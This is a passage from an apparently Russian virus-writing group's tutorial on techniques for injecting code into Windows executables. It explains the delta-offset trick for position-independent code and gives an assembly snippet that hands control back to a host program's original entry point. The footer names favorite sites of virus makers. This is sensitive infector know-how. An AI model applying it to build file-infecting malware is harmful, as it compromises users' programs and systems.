2. delta: pop ebp
3. sub ebp, offset delta
Первая инструкция вызывает код находящийся сразу после самой инструкцией.
Компилятор должен будет сформировать опкод E8 xxxxxxxx
поставив вместо xxxxxxxx непосредственный операнд который процессор должен будет прибавить к EIP+5 чтобы в EIP оказался адрес вызоваемого кода. Но сам вызываемый код и находится по адресу +5 относительно инструкции поэтому ничего прибавлять уже не нужно, или иначе - прибавляется 0. Поэтому эта инструкция будет всегда E800000000.
Процессор выполнив эту инструкции поместит EIP+5 в стек.
Чтобы стало абсолютно ясно определим термины как
EIP_s - это EIP о которое "предпологал" компилятор
оно совпадает с предпологаемым компилятором оффсетом команды calldelta
EIP_r - это реальное EIP которое будет при выполнении кода. Оно совпадёт с реальнымоффсетом команды
calldelta.
Таким образом EIP_s+5 это предпологаемый компилятором оффсетdelta. Или иначе то число что генерировалось компилятором при указаниях "offsetdelta"
А EIP_r+5 - это реальныйоффсет кода определённого меткой delta в реальности.
Итак команда
calldelta
помещает в стек EIP_r+5
прибавляет к EIP_r+5 непосредственный операнд 0
загружает в EIP полученное значение т.е. EIP_r+5
popebp находится по адресу EIP_r+5 и начинает выполнятся
загружает в EBP EIP_r+5 т.е. в ebp оказывается реальный
адрес по которому находится команда popebp.
subebp,offsetdelta =
= sub EIP_r+5,EIP_s+5 =
= EIP_r-EIP_s
Что нам и требовалось, т.е. разность между предпологаемым компилятором адрессом одной из бинарных команд и реальным адресом в которой оказалась эта команда. Используя эту разность можно поправить все остальные адреса которые вставил в код компилятор, все они будут отличаться от реальных на эту разность.

Надеюсь мне не зашлют злобный вирусняк в "благодарность" :)
Вообще слабо, что то полезное писать? На кой маятся вирусами, нормального программиного обеспечения нет ни фига толком, на этой шаткости добавлять ещё больше неустойчивости. Не понятно мне это...
Впрочем кто я такой, чтобы учить кого-то, просто как у обычного пользователя какая-то тоска по поводу происходящего.
 

5)

mov eax, [ebp+dwOEPVA]
mov [esp+1ch], eax
popad
jmp eax

Далее мы поместим в EAX адрес старой точки входа dwOEPVA. Сейчас полезно напомнить, как выглядит стек после выполнении команды pushad:

ESP + 1Ch - EAX

ESP + 18h - ECX

ESP + 14h - EDX

ESP + 10h - EBX

ESP + 0Ch - ESP

ESP + 08h - EBP

ESP + 04h - ESI

ESP + 00h - EDI

Значит если мы положим по адресу ESP + 1Ch какое-то значение по после выполнения команды popad это значение попадает в EAX. Далее передаем управление по EAX – на вход старой программы.

Статья получилась длинной , но я надеюсь полезной. Вывод : « Желаете в чем-то разобраться во-первых разбейте проблему на части во-вторых четко сформулируйте вопрос, и ЗАРЕГИСТРИРУЙТЕСЬ НА ВСЕХ ФОРУМАХ !!! ». В следующей статье мы научим нашу программу подсаживать к выбранной EXE – шке код, который научит ее « хорошим манерам», то есть перед запуском «окультуренная» программа будет здороваться с пользователем. : ) До свиданья.

Исходник

[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 4 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)